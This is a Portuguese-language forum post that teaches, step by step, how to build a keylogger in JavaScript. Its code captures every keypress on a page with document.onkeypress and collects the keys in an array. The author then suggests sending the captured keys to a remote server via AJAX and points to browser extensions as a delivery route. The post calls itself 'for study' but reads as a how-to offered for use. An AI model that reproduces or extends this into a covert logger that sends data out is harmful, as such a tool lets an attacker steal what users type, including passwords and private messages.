Você não está conectado. Conecte-se ou registre-se

[Javascript] Criando um keylogger com Javascript

Ver o tópico anterior Ver o tópico seguinte Ir em baixo  Mensagem [Página 1 de 1]

waghcwb

avatar
Membro elite

Bom, hoje trago um artigo (tutorial sei la silent) para estudos de como criar um keylogger usando apenas Javascript.

Pode ter uma galera que ache inútil e que ninguém usa isso nos dias de hoje, para os que pensam assim, o que me dizem das extensões dos navegadores? Confiam 100% nelas? Wink

Bom, para este artigo você precisa ter um conhecimento minimo na linguagem Javascript ou então uma vontade grande de aprender cheers

Vamos começar com nosso código base para trabalharmos em cima.

Primeiro crie uma pasta com o nome que quiser, la dentro coloque dois arquivos, um chamado
index.html
(ou qualquer outro que quiser) e outro
js.js


Agora abra ambos em seu editor favorito.

No HTML vamos ter este conteúdo
Código:
<script src="js.js"></script>

E no Javascript
Código:
;(function(){

/* Código aqui */

}());

Primeiro de tudo, vamos criar um array vazio que posteriormente vai receber as teclas digitadas pelo usuário
Código:
;(function(){

   var keystrokes = [];

}());

Agora vamos capturar quando o usuário digitar qualquer coisa no documento, usando a função
onkeypress
do Javascript
Código:
;(function(){

   var keystrokes = [];

   document.onkeypress = function(){
      alert("usuario clicou alguma coisa");
   };

}());

Vamos avançar um pouco mais, agora identificando qual letra o cara digitou, usando agora a função
window.event.keyCode
para ver qual o decimal que ele digitou e
String.fromCharCode()
para tornar isso uma letra que estamos acostumados.
Código:
;(function(){

   var keystrokes = [];

   document.onkeypress = function(){
      alert(String.fromCharCode(window.event.keyCode));
   };

}());

Pode testar abrindo o
index.html
e digitando qualquer coisa ali.

Bom, mas não estamos fazendo nada com isso. Precisamos salvar essas teclas que o user ta digitando, então o que fazemos é usar o método
push
para adicionar cada tecla ao array que criamos e deixamos vazio.
Código:
;(function(){

   var keystrokes = [];

   document.onkeypress = function(){
      keystrokes.push(String.fromCharCode(window.event.keyCode));
      alert(keystrokes);
   };

}());

Note que agora o
alert
retorna todas as teclas separadas por vírgula.

Bom, agora o que vamos fazer, é modificar alguns elementos no nosso HTML para ler os dados e fazer nossos testes

Código:
<style type="text/css">
/* Some style ;) */

textarea#keylogger {
   width: 600px;
   min-height: 200px;
   display: block;
   outline: none;
}
</style>


<h1>Keylogger</h1>
<textarea id="keylogger"></textarea>
<button id="key">Carregar keys</button>

<script src="js.js"></script>

E agora para finalizar, vamos adicionar um evento
onclick
e adicionar isso ao
textarea
que nós criamos no HTML
Código:
;(function(){

   var keystrokes = [];

   document.onkeypress = function(){
      keystrokes.push(String.fromCharCode(window.event.keyCode));
   };

    document.getElementById('key').onclick = function(){
       var keylogger = document.getElementById('keylogger');
       keylogger.value = keylogger.value + keystrokes.join("");
        keystrokes = [];
    };

}());

Com
keystrokes.join("");
eu junto todas as letras do array para evitar que elas sejam mostradas com vírgulas.

Isso é só um exemplo bem básico, que não faz nada demais. Mas é possível enviar essas letras por AJAX para um servidor e guardar os dados, ou guardar no localStorage, as possibilidades são infinitas...

Lembrando que isso é apenas para estudos.

Espero que seja útil.

Se quiser, faça o download dos arquivos criados neste tópico
https://www.dropbox.com/s/9b2h4tq58qd0onh/Keylogger.zip?dl=1



"May the force be with you, young grasshopper!"




Não há assuntos pouco interessantes; apenas há pessoas pouco interessadas.
Ver perfil do usuário
Compartilhar este artigo em: BookmarksDiggRedditDel.icio.usGoogleLiveSlashdotNetscapeTechnoratiStumbleUponNewsvineFurlYahoo!Smarking

Olá,
Obrigado por compartilhar connosco.

Até Mais...

Ver o tópico anterior Ver o tópico seguinte Voltar ao Topo  Mensagem [Página 1 de 1]

Permissão deste fórum:
Você não pode responder aos tópicos neste fórum